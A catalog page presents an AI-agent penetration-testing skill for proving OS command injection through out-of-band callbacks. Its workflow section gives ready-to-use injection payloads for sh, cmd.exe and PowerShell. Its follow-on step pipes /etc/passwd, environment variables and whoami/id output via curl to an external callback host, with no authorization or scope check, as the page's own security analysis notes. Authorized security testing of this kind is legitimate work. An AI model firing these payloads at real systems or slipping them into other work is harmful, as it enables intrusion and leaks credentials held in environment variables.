Automated summary
Proves that a suspected parameter leads to OS command execution (RCE) by getting an OAST callback from the server, then demonstrates one minimal, non-destructive follow-on impact.
Strengths
- Requires an OAST callback (DNS or HTTP) as proof of execution rather than settling for a response differential
- Ships payload variants keyed to the shell and OS (sh/bash, cmd.exe, PowerShell) and to the parameter encoding (URL, JSON, header)
- Tightly scopes the impact demo: one action only, truncated leaked data, destructive commands explicitly forbidden
- Records the target and proof through `remember`, keeping a clean audit trail
Limitations
- Entirely dependent on the provided MCP tools (oast_mint, oast_poll, replay_request, attack_kit); unusable without them
- DNS-based exfiltration can be truncated, limiting how much data comes back
- Deliberately excludes post-exploitation, reverse shells, and persistence
Use it when a parameter feeds an exec/spawn/system call, when shell metacharacters change the response, or when an audit flags CWE-78/CWE-77/CWE-94.
Avoid it on production targets without written authorization, or where all DNS/HTTP egress is blocked and no OAST proof can be obtained.
Security analysis
CautionThis is a legitimate, well-scoped pentest playbook for proving OS command injection, and it deliberately forbids destructive actions and limits data retrieval to a single masked demo. However, it still instructs sending real system data (env, /etc/passwd) to an external callback and performs live exploitation without any authorization/scope verification, so it warrants caution rather than a clean 'safe' rating.
- •Step 3 deliberately exfiltrates real host data (env dump, /etc/passwd, whoami/id/hostname) to an operator-controlled OAST callback; environment variables frequently contain credentials/API keys, so this can transmit secrets off-host.
- •No authorization or scope gate: the skill assumes the target is in an approved engagement and never asks the agent to verify scope, target ownership, or rate-limit/stealth constraints before firing exploit payloads.
- •Uses powerful live-fire tooling (replay_request, attack_kit, oast_mint/oast_poll) against production endpoints; step 3 explicitly permits reading /etc/passwd, which is data access beyond minimal proof.
- •Mitigations present: explicit prohibition on rm, redirect clobbering, package installs, port scans, reverse shells, and persistence; limits follow-on to one demo and one masked line of leaked data.
- •Depends on the OAST canary being controlled by the tester; if a third-party public OAST service is used, even masked data may be logged by that provider.
Examples
The `host` parameter on /api/tools/ping looks like it hits a shell — a trailing `;` changes the response length. Confirm the command injection and prove RCE with an OAST callback.Our audit flagged CWE-78 on the `target` parameter of the traceroute endpoint in the staging app. Verify whether it's real command injection and demonstrate one safe file read as impact.The `format` parameter on the thumbnail service returns a 500 with 'convert' in the stack trace. Check for command injection and get a callback as proof.name: command-injection-rce
description: Turn suspected OS command injection (a parameter that lands in a shell or a child process) into proof of remote code execution via an OAST callback, plus one safe demonstration of follow-on impact (read a file, list users, env dump). Use when a parameter feeds an exec/spawn/system call, when payloads with $(), `, ;, |, && cause response differences, or when audit flags CWE-78 / CWE-77. Never sends destructive commands.
license: MIT
allowed-tools:
- query_records
- inspect_record
- replay_request
- oast_mint
- oast_poll
- attack_kit
- report_finding
- update_finding
- remember
- update_plan
Command Injection → RCE Proof
You have a parameter that smells like it lands in a shell or process
exec call. Your job is to prove arbitrary command execution by getting
an OAST callback from the server, then demonstrate one minimal
follow-on action (a file read, an env dump). Reporting "the response
changed when I sent ;" is not enough.
When this skill applies
- A parameter feeds something likely to exec:
cmd=,host=(ping),target=(traceroute),file=(image conversion, PDF render, zip/tar),filter=,format=(ffmpeg, imagemagick),name=on a user-management endpoint that shells out. - Response differs when you send characters that have shell meaning:
;,|,&,&&,||,`,$(...),\n. - A 500 error message reveals a binary name (
sh,bash,convert,ffmpeg,ImageMagick,node,python,php) in the stack trace or response body. - Audit finding: CWE-78 (OS command injection), CWE-77 (command injection), CWE-94 (code injection).
Workflow
1. Confirm a shell metacharacter changes behavior
Pick a candidate parameter from query_records + inspect_record.
Send three replay_request probes:
- Baseline: harmless value (e.g.
8.8.8.8for a ping endpoint). 8.8.8.8;→ trailing separator. Status / length differential?8.8.8.8 && echo hi→ doeshiappear in the response, or does the response take longer?
If none of these change the response, the parameter is probably sanitized or doesn't shell out. Stop and pick another candidate.
remember the candidate parameter and which metacharacter triggered
the differential (key: cmdinj-target).
2. Confirm execution via OAST
Mint a canary with oast_mint (kind: cmdinj-probe). Inject a payload
that performs a DNS or HTTP request to the canary. Choose the encoding
by the suspected OS / language:
- Generic shell:
value; curl <canary>orvalue && nslookup <canary> - Backticks:
value``curl <canary>`` (works insh/bash`). $()substitution:value$(curl <canary>).- Windows cmd.exe:
value & nslookup <canary>(note the single&). - PowerShell:
value; Invoke-WebRequest <canary>.
Use attack_kit with class: "cmd-injection" to pull canonical
payload patterns for the parameter's encoding (URL vs JSON vs header).
Poll oast_poll for 60 seconds. The first DNS or HTTP callback proves
execution. DNS-only is still proof (most internal hosts can resolve
external names even when HTTP egress is blocked).
remember the callback proof (timestamp, payload, callback URL) with
key cmdinj-proof.
3. One follow-on demonstration
Once RCE is proven, send ONE additional payload to size impact. Pick the cheapest demo that establishes "the attacker has hands on the box":
- File read:
; curl <canary>?d=$(cat /etc/passwd | base64)(base64 to survive DNS encoding; expect truncation). - Env dump:
; env | curl --data-binary @- <canary> - Hostname / user:
; (whoami; hostname; id) | curl --data-binary @- <canary>
Wait for the callback. Decode the leaked data (base64 if you used it).
Include ONE line of the leaked data in the finding — not the whole
/etc/passwd.
Do not run destructive commands: no rm, no > /etc/..., no
package installs, no port scans, no reverse shells, no persistent
mechanisms. The callback + one small data fetch is sufficient proof.
4. Persist the finding
report_finding:
severity:critical— OS command execution on the server is always critical regardless of what you leaked.title: name the endpoint, parameter, and the proof:"OS command injection in /api/render filter parameter; OAST callback + reads /etc/passwd".cwe_id: CWE-78.description: 3-4 sentences. The endpoint, the trigger metacharacter, the OAST callback timestamp, and one masked line of the follow-on demo (e.g.,"first /etc/passwd line: root:x:0:0:...").- Include the exact payload that triggered the callback.
Pitfalls
- A response delay when you send
; sleep 5is suggestive but not proof — networking jitter and shared rate limiters cause similar delays. Require an OAST callback before claiming RCE. - Some sandboxes (gVisor, nsjail) restrict egress; DNS-only callbacks may be all you get. Note that explicitly in the finding.
- Image processors (
convert,ffmpeg) sometimes have shell injection via filenames or annotation fields — these surfaces are less obvious thancmd=; check filenames. - Argument-injection (without shell) is a related but distinct flaw —
--config=/etc/passwdagainst a tool that reads--configfiles. Still report as CWE-77 / CWE-78 if it leaks data. - If the callback URL is base64-encoded data, decode and read it before reporting — sometimes the payload encoding garbled the data in transit and what you have is just truncated noise, not proof.
Output expectations
- One
report_finding(critical) with payload + callback timestamp + one masked line of leaked data. - A
remembernote (key:cmdinj-proof) with the canonical payload. - Plan item marked
done.
From the file to a first result
The download contains exactly the content displayed on this page. This copy may differ from the latest version in the source repository.
View the source and supporting filesThis download contains SKILL.md only. Any scripts, references, templates and dependencies are not included. Get the required files from the source, preserving their directory structure, before continuing.
1. Download the file
Download SKILL.mdFrom the root of a test project, save the file as .skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md, or use the command below. This folder is for inspecting the skill before installation.
Command for macOS/Linux or WSL: requires a POSIX shell and curl. On Windows without WSL, use the download button and create the folder manually.
mkdir -p '.skill-downloads/command-injection-to-rce-proof-mrwakazr' && curl --fail --show-error --location 'https://skills-guides.com/api/skills/command-injection-to-rce-proof-mrwakazr/download' --output '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md.part' && mv '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md.part' '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md'2. Check prerequisites
Read SKILL.md before using it. If it references scripts or external services, inspect them and prepare the required access in your test environment.
No recognized prerequisites section in this file. This does not mean it is self-contained: libraries, tools and access requirements may be mentioned elsewhere in the content or source repository.
The platforms on this page are catalog indications. The paths below follow tool documentation; they do not prove this skill has been run in those tools. No minimum tool version is confirmed for this listing.
3. Load the skill
After inspection, copy the complete folder into your project using one of the commands below, then open a new tool session. The command stops if a folder with the same name already exists: compare the files before replacing it.
Claude Code
test -f '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md' && test -s '.skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md' && mkdir -p '.claude/skills' && test ! -e '.claude/skills/command-injection-rce' && cp -R '.skill-downloads/command-injection-to-rce-proof-mrwakazr' '.claude/skills/command-injection-rce'OpenSkills
OpenSkills must already be installed. The local install/read procedure is checked with OpenSkills 1.5.0, which requires Node.js ≥ 20.6.0. Catalog slugs are not resolved automatically.
Official OpenSkills installationopenskills install './.skill-downloads/command-injection-to-rce-proof-mrwakazr'openskills read 'command-injection-to-rce-proof-mrwakazr'Reading should display the installed file content and its base directory. It does not run the skill or install its dependencies.
For an agent that reads AGENTS.md, then sync the index. This command changes AGENTS.md: review the diff before using it.
openskills syncManual method or another tool: attach SKILL.md to a conversation, or open it in an agent that can read files. Include any required supporting resources. No universal folder is recognized by every tool.
4. Try a first task
Use a short, synthetic input: an API endpoint, a small document or an interface brief. In a new conversation, attach the file or give the agent its path, then adapt this request:
Read .skill-downloads/command-injection-to-rce-proof-mrwakazr/SKILL.md and apply its instructions to this example: [describe a test input]. Identify any missing files, dependencies or access. Produce the result requested by the skill without inventing data or running unreviewed scripts.Expected result: output matching the skill instructions, or a precise list of missing prerequisites. A read confirmation alone does not validate a first use. If an external resource is unavailable, that path remains untested.
DeFi AMM Security
Security
Security checklist for Solidity AMM contracts, liquidity pools, and swap flows. Covers reentrancy, donation attacks, oracle manipulation, slippage, and integer math.
Semgrep Rule Creator
Security
Creates custom Semgrep rules for detecting security vulnerabilities, bug patterns, and code patterns. Includes test-first methodology, taint mode support, and validation steps. Helps when building targeted static analysis detections.
Dev Toolbar Review Guide
Security
Safety rules for the dev toolbar, PostHog client, and feature flags. Use when reviewing changes to dev-tools and related files, covering environment guards, override cookies, and SSE stream safety.